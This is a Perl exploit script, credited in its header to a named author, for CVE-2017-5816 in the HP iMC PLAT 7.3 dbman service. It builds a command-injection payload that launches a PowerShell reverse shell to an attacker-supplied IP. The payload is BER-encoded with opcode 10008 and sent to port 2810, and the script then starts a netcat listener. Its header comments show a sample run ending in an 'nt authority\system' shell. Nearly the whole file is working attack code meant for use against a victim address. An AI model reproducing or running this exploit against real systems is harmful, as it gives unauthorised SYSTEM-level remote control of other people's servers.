#!/usr/bin/perl

#  CVE-2017-5816
#  https://oxasploits.com/posts/exploit-archive-partial-disclosure/
#  Marshall Whittaker / oxagast
#  oxagast@oxasploits.com
#  Thanks go to sztivi for discovery
#  Thanks go to Nikhil SamratAshok Mittal 
#  for the modified powershell reverse shell
#  Not verified but I think it needs KB976932 
#  and dot net fix 4.5 for the payload to work.
#
#  ./dbman_HPe_iMC_PLAT-7.3_remote_powershell.pl 10.0.1.122 10.0.1.2
#  Crafting payload with 10.0.1.2:7777...
#  Enbering payload data...
#  Binary encoding opcode 10008 and allocation size 560...
#  With a 537 byte powershell payload...
#  Getting ready to send exploit!
#  Waiting for shell... (this should only take a second or two)
#  Connection from 10.0.1.122:49172
#  PS C:\Windows\system32> whoami
#  nt authority\system
#

use Encoding::BER;
use Sanitize;
use Socket;
use strict;

sub help_me() {
  print STDERR "Marshall Whittaker / oxagast\n";
  print STDERR "CVE-2017-5816\n";
  print STDERR "HP iMC PLAT 7.3 dbman exploit 2021\n";                                          # of the things i've lost
  print STDERR "  useage ./sploit <victim> <attacker> <reverse_shell_port>\n";                  # i miss my mind the most
  exit(1);
}

my $victim   = $ARGV[ 0 ];
my $attacker = $ARGV[ 1 ];

if ( ( scalar(@ARGV) < 2 ) || ( scalar(@ARGV) > 3 ) ) {                                         # see how many args they used
  help_me();
  exit(1);
}

if ( ( ( validate( $ARGV[ 0 ], ip => 1 ) ) == 0 )                                               # sanitize the ip addresses
  || ( validate( $ARGV[ 1 ], ip => 1 ) ) == 0 )                                                 # so nothing crazy gets sent
{                                                                                               # to crash dbman.exe
  print STDERR "Err: Only IPv4 addresses as the first two arguments.\n";
  help_me();
  exit(1);
}
else {
  my $rev     = $ARGV[ 2 ];
  my $user    = `whoami`;                                                                       # checks if root then can use ports under 1024
  my $revport = 7777;
  if ( ( $rev != "" )
    && ( $rev =~ m/^\d+$/ )
    && ( ( $rev >= 1 ) && ( $rev <= 65535 ) ) )
  {
    if ( $rev >= 1023 ) {
      $revport = $rev;
    }
    elsif ( $user =~ /^root$/ ) {
      $revport = $rev;
      print "Running in priveleged mode port $revport...\n";
    }
    else {
      print STDERR "Err: Reverse port error... ";
      print STDERR " netcat won't bind to $attacker:$rev (hint: sudo)\n";
      help_me();
      exit(1);
    }
  }
  print "Crafting payload with $attacker:$revport...\n";
                                                                                                # ps1 reverse by Nikhil SamratAshok Mittal
                                                                                                # this is a normal powershell reverse 
                                                                                                # payload, but i added a pause so that 
                                                                                                # we have time to make sure netcat is active
  my $payload =
      'x"& powershell -nop -exec bypass -c "Start-Sleep -s 1;$client = New-Object System.Net.Sockets.TCPClient(\''
      . $attacker . "\',"
      . $revport
      . ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" &';
  print "Enbering payload data...\n";

                                                                                                # we asn.1 BER encode the payload here
  my $ber  = Encoding::BER->new;
  my $data = [
    { type => [ 'octet_string' ], value => '0' },
    { type => [ 'integer' ],      value => 4 },
    { type => [ 'octet_string' ], value => $payload },
    { type => [ 'octet_string' ], value => 'x' },                                               # these can be dummy values of db un/pw etc
    { type => [ 'octet_string' ], value => 'x' },
    { type => [ 'octet_string' ], value => 'x' },
  ];
  my $p = $ber->encode($data);                                                                  # actually encode it all

# the opcode and the allocation size for the ber have to be in binary, with leading \x00's
  print "Binary encoding opcode 10008 and allocation size "
      . length($p) . "...\n";
  print "With a " . length($payload) . " byte powershell payload...\n";
  my $sz   = pack( "H8", sprintf( "%08x", length($p) ) );
  my $payl = pack( "H8", sprintf( "%08x", 10008 ) ) . $sz . $p;

  my $port = 2810;    # dbman.exe's default port
  socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[ 2 ] )
      or die "Can't create a socket $!\n";
  connect( SOCKET, pack_sockaddr_in( $port, inet_aton($victim) ) )
      or die "Can't connect to $victim:$port! \n";
  print "Getting ready to send exploit!\n";
  print SOCKET $payl;         # send the exploit here!
  close SOCKET or die "close: $!";
  print "Waiting for shell... (this should only take a second or two)\n";
  system("nc -l -p $revport -v") == ( 0 || 256 )
      or die "netcat: $?";                                                                      # just waiting for the shell,
                                                                                                # the payload will take a couple
                                                                                                # seconds to trigger

}